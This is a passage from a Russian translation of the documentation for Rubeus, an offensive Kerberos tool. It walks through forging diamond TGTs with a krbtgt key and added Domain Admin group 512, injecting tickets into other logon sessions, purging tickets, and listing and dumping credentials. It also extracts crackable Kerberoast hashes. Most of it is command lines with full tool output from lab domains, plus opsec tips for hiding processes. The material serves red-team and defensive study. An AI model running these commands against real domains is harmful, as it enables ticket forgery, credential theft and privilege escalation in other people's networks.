Обратите внимание, что для запроса TGT или их применения к текущей сессии входа на хосте не требуются повышенные привилегии, только правильный хеш для целевого пользователя. Еще одно замечание по опсеку: к текущей сессии входа может быть применен только один TGT за раз, поэтому предыдущий TGT стирается при применении нового билета с использованием опции /ptt. Обходным решением является использование параметра /createnetonly:C:\X.exe (который по умолчанию скрывает процесс, если не указан флаг /show), или запрос билета и его применение к другой сессии входа с помощью ptt /luid:0xA...
Аргумент /ticketuser:X используется для указания имени пользователя, которое будет использоваться в модифицированном билете, /ticketuserid:# для указания RID пользователя, /groups:RID1,RID2... для указания групп для билета и /sids:SID1,SID2... для указания SID, которые должны быть включены в поле ExtraSIDs.
Создание алмазного TGT с использованием имени пользователя и пароля:
C:\Rubeus>Rubeus.exe diamond /krbkey:3111b43b220d2f4eb8e68fe7be1179ce69328c9071cba14bef4dbb02b1cfeb9c /user:loki /password:Mischief$ /enctype:aes /domain:marvel.local /dc:earth-dc.marvel.local /ticketuser:thor /ticketuserid:1104 /groups:512
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.1.1
[*] Действие: Алмазный билет
[*] Используется контроллер домена: earth-dc.marvel.local (10.1.1.11)
[!] Требуется предварительная аутентификация!
[!] Соль AES256: MARVEL.LOCALloki
[*] Используется aes256_cts_hmac_sha1 хеш: 8A90D4F4E8698E76FA014C97A539C1083EDDCB5A281B1274568758FB999DFCE7
[*] Построение AS-REQ (с предварительной аутентификацией) для: 'marvel.local\loki'
[*] Используется контроллер домена: 10.1.1.11:88
[+] Запрос TGT выполнен успешно!
[*] base64(ticket.kirbi):
doIFejCCBXagAwIBBaEDAgEWooIEgzCCBH9hggR7MIIEd6ADAgEFoQ4bDE1BUlZFTC5MT0NBTKIhMB+g
...(snip)...
oRgwFhsGa3JidGd0GwxNQVJWRUwuTE9DQUw=
[*] Расшифровка TGT
[*] Получение PAC
[] Модификация PAC [] Подписание PAC [*] Шифрование модифицированного TGT
[*] base64(ticket.kirbi):
doIFajCCBWagAwIBBaEDAgEWooIEczCCBG9hggRrMIIEZ6ADAgEFoQ4bDE1BUlZFTC5MT0NBTKIhMB+g
...(snip)...
UlZFTC5MT0NBTA==
Создание алмазного TGT с использованием трюка tgtdeleg:
C:\Rubeus>Rubeus.exe diamond /krbkey:3111b43b220d2f4eb8e68fe7be1179ce69328c9071cba14bef4dbb02b1cfeb9c /tgtdeleg /ticketuser:thor /ticketuserid:1104 /groups:512
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.1.1
[*] Действие: Diamond Ticket
[*] Целевой SPN не указан, попытка построить 'cifs/dc.domain.com'
[*] Инициализация Kerberos GSS-API с фиктивной делегацией для цели 'cifs/Earth-DC.marvel.local'
[+] Успешная инициализация Kerberos GSS-API!
[+] Запрос делегации выполнен! Тикет делегации AP-REQ теперь находится в выводе GSS-API.
[*] Найден тикет делегации AP-REQ в выводе GSS-API.
[*] Тип шифрования аутентификатора: aes256_cts_hmac_sha1
[*] Извлечен сеансовый ключ сервисного тикета из кэша тикетов: imNrWVWRhlB61dUk5EWEdQL7DgqBQ/UckUs9pBvw6JU=
[+] Аутентификатор успешно расшифрован
[*] base64(ticket.kirbi):
doIFejCCBXagAwIBBaEDAgEWooIEgzCCBH9hggR7MIIEd6ADAgEFoQ4bDE1BUlZFTC5MT0NBTKIhMB+g
...(snip)...
oRgwFhsGa3JidGd0GwxNQVJWRUwuTE9DQUw=
[*] Расшифровка TGT
[*] Получение PAC
[*] Модификация PAC
[*] Подписание PAC
[*] Шифрование модифицированного TGT
[*] base64(ticket.kirbi):
doIFajCCBWagAwIBBaEDAgEWooIEczCCBG9hggRrMIIEZ6ADAgEFoQ4bDE1BUlZFTC5MT0NBTKIhMB+g
...(snip)...
UlZFTC5MT0NBTA==
Разбор команд управления тикетами:
| Команда | Описание |
|---|---|
| ptt | Применить тикет к текущей (или указанной) сессии входа |
| purge | Очистить текущую (или указанную) сессию входа от тикетов Kerberos |
| describe | Описать блок base64 тикета или файл .kirbi |
Действие ptt отправит /ticket:X (TGT или сервисный тикет) для текущей сессии входа через API LsaCallAuthenticationPackage() с сообщением KERB_SUBMIT_TKT_REQUEST, или (если выполняется с повышенными привилегиями) для сессии входа, указанной в /luid:0xA... Как и другие параметры /ticket:X, значение может быть кодировкой base64 файла .kirbi или путем к файлу .kirbi на диске.
C:\Rubeus>Rubeus.exe ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWoo..(snip)..
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Импорт тикета
[+] Тикет успешно импортирован!
C:\Rubeus>Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Список тикетов Kerberos (текущий пользователь)
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/11/2019 2:55:18 PM ; 2/11/2019 7:55:18 PM ; 2/18/2019 2:55:18 PM
Server Name : krbtgt/testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000)
Применение тикета с повышенными привилегиями к другой сессии входа:
C:\Rubeus>Rubeus.exe klist /luid:0x474722b
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Список тикетов Kerberos (все пользователи)
[*] Целевой LUID : 0x474722b
UserName : patsy
Domain : TESTLAB
LogonId : 0x474722b
UserSID : S-1-5-21-883232822-274137685-4173207997-1169
AuthenticationPackage : Kerberos
LogonType : Interactive
LogonTime : 2/11/2019 10:58:53 PM
LogonServer : PRIMARY
LogonServerDNSDomain : TESTLAB.LOCAL
UserPrincipalName : patsy@testlab.local
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/11/2019 2:58:53 PM ; 2/11/2019 7:58:53 PM ; 2/18/2019 2:58:53 PM
Server Name : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL
Client Name : patsy @ TESTLAB.LOCAL
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000)
C:\Rubeus>Rubeus.exe ptt /luid:0x474722b /ticket:doIFmjCCBZagAwIBBaEDAgEWoo..(snip)..
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Импорт тикета
[*] Целевой LUID: 0x474722b
[+] Тикет успешно импортирован!
C:\Rubeus>Rubeus.exe klist /luid:0x474722b
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Список тикетов Kerberos (все пользователи)
[*] Целевой LUID : 0x474722b
UserName : patsy
Domain : TESTLAB
LogonId : 0x474722b
UserSID : S-1-5-21-883232822-274137685-4173207997-1169
AuthenticationPackage : Kerberos
LogonType : Interactive
LogonTime : 2/11/2019 10:58:53 PM
LogonServer : PRIMARY
LogonServerDNSDomain : TESTLAB.LOCAL
UserPrincipalName : patsy@testlab.local
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/11/2019 2:55:18 PM ; 2/11/2019 7:55:18 PM ; 2/18/2019 2:55:18 PM
Server Name : krbtgt/testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000)
Действие purge очистит все тикеты Kerberos из текущей сессии входа, или (если выполняется с повышенными привилегиями) из сессии входа, указанной в /luid:0xA...
C:\Rubeus>Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Список тикетов Kerberos (текущий пользователь)
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/11/2019 3:05:36 PM ; 2/11/2019 8:05:36 PM ; 2/18/2019 3:05:36 PM
Server Name : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL
Client Name : harmj0y @ TESTLAB.LOCAL
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable (60a10000)
[1] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/11/2019 3:05:36 PM ; 2/11/2019 8:05:36 PM ; 2/18/2019 3:05:36 PM
Server Name : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL
Client Name : harmj0y @ TESTLAB.LOCAL
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000)
[2] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/11/2019 3:05:36 PM ; 2/11/2019 8:05:36 PM ; 2/18/2019 3:05:36 PM
Server Name : cifs/primary.testlab.local @ TESTLAB.LOCAL
Client Name : harmj0y @ TESTLAB.LOCAL
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
C:\Rubeus>Rubeus.exe purge
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
Luid: 0x0
[*] Действие: Очистка тикетов
[+] Тикеты успешно очищены!
C:\Rubeus>Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Список билетов Kerberos (текущий пользователь)
C:\Rubeus>
Повышенная очистка другого сеанса входа:
C:\Rubeus>Rubeus.exe triage /luid:0x474722b
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Диагностика билетов Kerberos
[*] Целевой LUID : 0x474722b
-----------------------------------------------------------------------------------
| LUID | Имя пользователя | Сервис | Время окончания |
-----------------------------------------------------------------------------------
| 0x474722b | dfm.a @ TESTLAB.LOCAL | krbtgt/testlab.local | 2/11/2019 7:55:18 PM |
-----------------------------------------------------------------------------------
C:\Rubeus>Rubeus.exe purge /luid:0x474722b
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
Luid: 0x474722b
[*] Действие: Очистка билетов
[*] Целевой LUID: 0x474722b
[+] Билеты успешно очищены!
C:\Rubeus>Rubeus.exe triage /luid:0x474722b
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Диагностика билетов Kerberos
[*] Целевой LUID : 0x474722b
---------------------------------------
| LUID | Имя пользователя | Сервис | Время окончания |
---------------------------------------
---------------------------------------
Действие describe принимает значение /ticket:X (TGT или билет сервиса), разбирает его и описывает значения билета. Как и другие параметры /ticket:X, значение может быть кодировкой base64 файла .kirbi или путем к файлу .kirbi на диске.
Если предоставленный билет является билетом сервиса И тип шифрования — RC4_HMAC, выводится извлеченный хэш, совместимый с Kerberoast. Если билет является билетом сервиса, но ключ шифрования — AES128/AES256, выводится предупреждение. Если билет является TGT, хэш или предупреждение не отображаются.
Секцию EncTicketPart (зашифрованную часть билета) можно расшифровать с помощью аргумента /servicekey:X, это также проверит ServerChecksum в PAC. Аргумент /krbkey:X также может использоваться для билетов сервиса для проверки KDCChecksum и TicketChecksum (если он существует).
Передавая аргумент /serviceuser:X (и /servicedomain:X обязателен), из зашифрованного билета сервиса AES256 может быть сформирован «хэш», поддающийся взлому.
Отображение информации о TGT:
C:\Rubeus>Rubeus.exe describe /ticket:doIFmjCCBZagAwIBBaEDAgEWoo..(сокращено)..
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Описание билета
Имя пользователя : dfm.a
Область пользователя : TESTLAB.LOCAL
Имя сервиса : krbtgt/testlab.local
Область сервиса : TESTLAB.LOCAL
Время начала : 2/11/2019 2:55:18 PM
Время окончания : 2/11/2019 7:55:18 PM
Продление до : 2/18/2019 2:55:18 PM
Флаги : name_canonicalize, pre_authent, initial, renewable, forwardable
Тип ключа : rc4_hmac
Base64(ключ) : e3MxrlTu9jHh9hG43UfiAQ==
Отображение информации о билете сервиса с извлеченным «хэшем» Kerberoast:
C:\Rubeus>Rubeus.exe describe /ticket:service_ticket.kirbi
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.1
[*] Действие: Описание билета
Имя пользователя : harmj0y
Область пользователя : TESTLAB.LOCAL
Имя сервиса : asdf/asdfasdf
Область сервиса : TESTLAB.LOCAL
Время начала : 2/20/2019 8:58:14 AM
Время окончания : 2/20/2019 12:41:09 PM
Продление до : 2/27/2019 7:41:09 AM
Флаги : name_canonicalize, pre_authent, renewable, forwarded, forwardable
Тип ключа : rc4_hmac
Base64(ключ) : WqGWK4htp7rM1CURpxjMPA==
Хэш Kerberoast : $krb5tgs$23$*USER$DOMAIN$asdf/asdfasdf*$DEB467BF9C9023E...(сокращено)...
Отображение информации о TGT вместе с расшифрованным PAC:
C:\Rubeus>Rubeus.exe describe /servicekey:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ticket:doIFaDCCBWSgAw...(сокращено)...HBhY2subG9jYWw=
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Действие: Описание билета
Имя сервиса : krbtgt/rubeus.ghostpack.local
Область сервиса : RUBEUS.GHOSTPACK.LOCAL
Имя пользователя : exploitph
Область пользователя : RUBEUS.GHOSTPACK.LOCAL
Время начала : 28/07/2021 21:25:45
Время окончания : 29/07/2021 07:25:45
Продление до : 04/08/2021 21:25:45
Флаги : name_canonicalize, pre_authent, initial, renewable, forwardable
Тип ключа : rc4_hmac
Base64(ключ) : Gcf0pE1AVgbbmtSRqJbf9A==
Расшифрованный PAC :
Информация о входе :
Время входа : 20/07/2021 22:10:22
Время выхода :
Время завершения сеанса :
Последняя смена пароля : 14/07/2021 00:50:44
Дата смены пароля : 15/07/2021 00:50:44
Дата обязательной смены :
Отображаемое имя : exploitph
Полное имя : Exploit PH
Скрипт входа :
Профиль :
Домашний каталог :
Домашний диск :
Количество входов : 11
Количество неудачных паролей: 0
ID пользователя : 1104
ID основной группы : 513
Количество групп : 1
Группы : 513
Флаги пользователя : (32) EXTRA_SIDS
Ключ сессии пользователя : 0000000000000000
Сервер входа : PDC1
Имя домена входа : RUBEUS
ID домена входа : S-1-5-21-3237111427-1607930709-3979055039
Управление учетной записью : (262672) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION
Количество ExtraSID : 1
ExtraSIDs : S-1-18-1
Количество групп ресурса : 0
Имя клиента :
ID клиента : 28/07/2021 21:25:45
Имя клиента : exploitph
UpnDns :
DNS имя домена : RUBEUS.GHOSTPACK.LOCAL
UPN : exploitph@rubeus.ghostpack.local
Флаги : 0
ServerChecksum :
Тип подписи : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Подпись : DC220C13C97C5723456DADE2 (VALID)
KDCChecksum :
Тип подписи : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Подпись : 32C03715F0B11E3D2EDA3D05 (VALID)
Отображение информации о зашифрованном AES256 билете сервиса с извлеченным «хэшем» Kerberoast:
C:\Rubeus>Rubeus.exe describe /serviceuser:exploitph /ticket:doIFSjCCB...(сокращено)...Vyb2FzdBsCbWU=
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Действие: Описание билета
Имя сервиса : roast/me
Область сервиса : RUBEUS.GHOSTPACK.LOCAL
Имя пользователя : harmj0y
Область пользователя : RUBEUS.GHOSTPACK.LOCAL
Время начала : 28/07/2021 21:31:57
Время окончания : 29/07/2021 07:31:20
Продление до : 04/08/2021 21:31:20
Флаги : name_canonicalize, pre_authent, renewable
Тип ключа : aes256_cts_hmac_sha1
Base64(ключ) : T+hpOdnnvvLhnSwup/O/DmYYY3CXVP4kN/Hq5qWWwKg=
Хеш Kerberoast : $krb5tgs$18$exploitph$RUBEUS.GHOSTPACK.LOCAL$roast/me$1063B9C2E8BAB76E5051F5DE $CD5F3403552BD882CBC52389C9851EFD9B7B72174CCA44876DD4E2958FE807B2A899EE33279835D 01BEF12B6FE65174B4BF7B6A5062F45DDBEDA76CF2B122579194B3F1CF3192F982EFE5109B4FF644 FDE4D4A170551B764A699DC4DB3535AE937E24D8D5EF0C980C98D115A6707A1F2583FAAB76FD4514 6957453FAAD213EF28ACED98E72CC909FCC8CB0FD904DE71607BB1C25163EC9512996057CB34950F 40480CABC5CA812B06E461FF3ECAE62022D7BA3500B506AF9BCD557DB987D565FEC8583E5C093AB5 AF7387930AE3DBC0C4197DB75988D0785E90B1C799C1245CBC891BEC5008BFED99A8042214300440 4846C3296A721B546428CA71640B2BDD730ADEDBE6217C572288D904E5F64843148EF30BED8F62A7 A038B770DDD787BBBDCCBC4BF63EAC4C18E596F9A1C21B3265C1D402E84547B5491E4FE8E9B05E10 606773DA47C2570B7B191AE2648C0C467ED242F86C2DC5BD90D5E07D5C3DAACC917E796E5ACB416B 8D980AC30D300016556AEF064DC6C0822D6EAEF41EC5C376E46BE54AB6B85959BDEDF0D15F87AD07 14F8999503F6DEEDC5F1798D7F82FB4A068D1C44A761C44589EAF7E17D4C855893A8C71B2FE309EB 2FE87D36429CF0CA9AA3B02C981F2E6900D0B887EBF1438B3D084963D5AD6B06894A49D3BFED4A19 5CA0A544A6E73B46E85C0B5E6F7230884E44B265A48CB5EFF3EC699B63DF4C5241FC11F2E74953CF DD610C9B3137CD15C716E538F42464A37D2B5F719B6FD0D783509B503E68F46F1FE0E03D12B97B79 6EFB104E093F625894C59BC025273CF0F0B1EF975FF9584AEE227E27304DE545C71B367BEF2EF6DA 22CFF2940387DEA77446B84AC436C7FD273C04247D67334A8D2F2729DE88287BB270D0F495F8EA50 126EA94E7417A4191D080A7284FF2736C704A03EF7F7A044A6E357972A7BAC56AD3775C110A10954 0656CB6759BB61B47B7FF5545A97735279CDB281F632DAD91047FBEC3E98F8B5BC10CA4FFE446186 67BC174CFE97E2262EE8E4651AB460AB2E9A1B214566969FE30BC9A2EEA2BBC79E1ABDBB5A6E8BB6 0EF60EB33DCA0F50682DAB8A2F4AE863F83AD928E8D977AA2079706827B78A0CF37FA2D62EAD3A14 70625022335458E0E84C11786E9A84CAB5A136777B9E8293142D62D96DF9E04AACE6839E13CC54CA B2B7F5752F8CE9544D7076960CCD7D26C8A0E8E9C879A11A44D2BCC607CE15862E29361C786C095C 1EA55D7BD277E581E2488BD3FA4B8E09C331A1E7E3C4BE1C745B59E710362F8EEE9578EF9E5FB34F AAA63C3D7D85000A84A29831B01BD0F4239263FDF59621E57CEE718B29AA2561857C4CD8020AF057 AB5AC097DA90E9B15F6C881F47D95A9F9C15B60EE0B821FDDEB3A9AD4D71E
Разбор команд извлечения/сбора тикетов:
| Команда | Описание |
|---|---|
| triage | LUID, имя пользователя, целевая служба, срок действия тикета |
| klist | Подробная информация о сеансе входа и тикетах |
| dump | Подробные данные о сеансе входа и тикетах |
| tgtdeleg | Получение пригодного TGT для пользователя без повышенных привилегий |
| monitor | Мониторинг событий входа и вывод новых тикетов |
| harvest | Аналогично monitor, но с функцией автоматического обновления |
Примечание: triage/klist/dump предоставляют всё больше деталей о тикетах.
Действие triage выводит таблицу с Kerberos-тикетами текущего пользователя, если не повышены привилегии. Если запущено из контекста с повышенными привилегиями, отображается таблица, описывающая все Kerberos-тикеты в системе. Тикеты можно отфильтровать по конкретной службе с помощью /service:SNAME.
При наличии повышенных привилегий тикеты можно отфильтровать по конкретному LogonID с помощью /luid:0xA.. или по конкретному пользователю с помощью /user:USER. Это может быть полезно при анализе систем с большим количеством Kerberos-тикетов.
Просмотр всех перечисляемых тикетов (без повышенных привилегий):
C:\Rubeus>Rubeus.exe triage
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Действие: Просмотр Kerberos-тикетов (текущий пользователь)
[*] Текущий LUID : 0x4420e
-----------------------------------------------------------------------------------------
| LUID | Имя пользователя | Служба | Время окончания |
-----------------------------------------------------------------------------------------
| 0x4420e | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 4:04:14 PM |
| 0x4420e | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 4:04:14 PM |
| 0x4420e | harmj0y @ TESTLAB.LOCAL | cifs/primary.testlab.local | 2/12/2019 4:04:14 PM |
-----------------------------------------------------------------------------------------
Просмотр всех перечисляемых тикетов (с повышенными привилегиями):
C:\Rubeus>Rubeus.exe triage
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Действие: Просмотр Kerberos-тикетов (все пользователи)
-------------------------------------------------------------------------------------------------------------
| LUID | Имя пользователя | Служба | Время окончания |
-------------------------------------------------------------------------------------------------------------
| 0x56cdda9 | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 4:04:14 PM |
| 0x56cdda9 | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 4:04:14 PM |
| 0x56cdda9 | harmj0y @ TESTLAB.LOCAL | cifs/primary.testlab.local | 2/12/2019 4:04:14 PM |
| 0x56cdd86 | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 4:04:02 PM |
| 0x47869cc | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 3:19:11 PM |
| 0x47869cc | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 3:19:11 PM |
| 0x47869cc | harmj0y @ TESTLAB.LOCAL | cifs/primary.testlab.local | 2/12/2019 3:19:11 PM |
| 0x47869b4 | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 3:05:29 PM |
| 0x3c4c241 | dfm.a @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/11/2019 4:24:02 AM |
| 0x441d8 | dfm.a @ TESTLAB.LOCAL | cifs/primary.testlab.local | 2/10/2019 11:41:26 PM |
| 0x441d8 | dfm.a @ TESTLAB.LOCAL | LDAP/primary.testlab.local | 2/10/2019 11:41:26 PM |
| 0x3e4 | windows10$ @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 1:25:01 PM |
| 0x3e4 | windows10$ @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 1:25:01 PM |
| 0x3e4 | windows10$ @ TESTLAB.LOCAL | cifs/PRIMARY.testlab.local | 2/12/2019 1:25:01 PM |
| 0x3e4 | windows10$ @ TESTLAB.LOCAL | ldap/primary.testlab.local/testlab.local | 2/11/2019 7:23:48 PM |
| 0x3e7 | windows10$ @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 2:23:45 PM |
| 0x3e7 | windows10$ @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL | 2/12/2019 2:23:45 PM |
| 0x3e7 | windows10$ @ TESTLAB.LOCAL | cifs/PRIMARY.testlab.local/testlab.local | 2/12/2019 2:23:45 PM |
| 0x3e7 | windows10$ @ TESTLAB.LOCAL | WINDOWS10$ | 2/12/2019 2:23:45 PM |
| 0x3e7 | windows10$ @ TESTLAB.LOCAL | LDAP/PRIMARY.testlab.local/testlab.local | 2/12/2019 2:23:45 PM |
-------------------------------------------------------------------------------------------------------------
Просмотр с фильтрацией по конкретной службе (с повышенными привилегиями):
C:\Rubeus>Rubeus.exe triage /service:ldap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Действие: Просмотр Kerberos-тикетов (все пользователи)
[*] Целевая служба : ldap
-----------------------------------------------------------------------------------------------------------
| LUID | Имя пользователя | Служба | Время окончания |
| 0x441d8 | dfm.a @ TESTLAB.LOCAL | LDAP/primary.testlab.local | 10.02.2019 23:41:26 | | 0x3e4 | windows10$ @ TESTLAB.LOCAL | ldap/primary.testlab.local/testlab.local | 11.02.2019 19:23:48 | | 0x3e7 | windows10$ @ TESTLAB.LOCAL | LDAP/PRIMARY.testlab.local/testlab.local | 12.02.2019 14:23:45 |
Команда klist выводит подробную информацию о текущем сеансе пользователя и билетах Kerberos, если не выполнен от имени администратора. При запуске с повышенными привилегиями отображается информация обо всех активных сеансах и связанных с ними билетах Kerberos. Информацию о сеансе и билетах можно получить для конкретного LogonID, используя параметр /luid:0xA.. (требуются права администратора).
Пример вывода информации о сеансе и билетах текущего (обычного) пользователя:
C:\Rubeus>Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Действие: Список билетов Kerberos (текущий пользователь)
[*] Текущий LUID : 0x4420e
[0] - 0x12 - aes256_cts_hmac_sha1
Начало/Конец/Макс.продление: 12.02.2019 11:04:14 ; 12.02.2019 16:04:14 ; 19.02.2019 11:04:14
Серверный адрес : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL
Имя клиента : harmj0y @ TESTLAB.LOCAL
Флаги : name_canonicalize, pre_authent, renewable, forwarded, forwardable (60a10000)
...(обрезано)...
С повышенными привилегиями — вывод информации о сеансе/билетах Kerberos другого пользователя:
C:\Rubeus>Rubeus.exe klist /luid:0x47869b4
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Список билетов Kerberos (все пользователи)
[*] Целевой LUID : 0x47869b4
UserName : harmj0y
Domain : TESTLAB
LogonId : 0x47869b4
UserSID : S-1-5-21-883232822-274137685-4173207997-1111
AuthenticationPackage : Kerberos
LogonType : Интерактивный
LogonTime : 11.02.2019 23:05:31
LogonServer : PRIMARY
LogonServerDNSDomain : TESTLAB.LOCAL
UserPrincipalName : harmj0y@testlab.local
[0] - 0x12 - aes256_cts_hmac_sha1
Начало/Конец/Макс.продление: 11.02.2019 15:05:31 ; 11.02.2019 20:05:31 ; 18.02.2019 15:05:31
Серверный адрес : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL
Имя клиента : harmj0y @ TESTLAB.LOCAL
Флаги : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000)
...(обрезано)...
Действие dump извлекает текущие TGT и сервисные билеты, если выполняется с повышенными привилегиями. Если без повышения, извлекаются только сервисные билеты текущего пользователя. Полученные билеты можно фильтровать с помощью параметра /service (для TGT используйте /service:krbtgt) и/или идентификатора сеанса (параметр /luid:0xA..). Файлы KRB-CRED (.kirbis) выводятся в виде base64-строк и могут быть повторно использованы с функцией ptt или средством kerberos::ptt из Mimikatz.
Примечание: если выполнение происходит в контексте без повышения, ключи сеанса для TGT (по умолчанию) не возвращаются соответствующими API, поэтому будут доступны для использования только извлечённые сервисные билеты. Чтобы частично обойти это ограничение, используйте команду tgtdeleg.
Извлечение доступных сервисных билетов текущего пользователя:
C:\Rubeus>Rubeus.exe dump
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
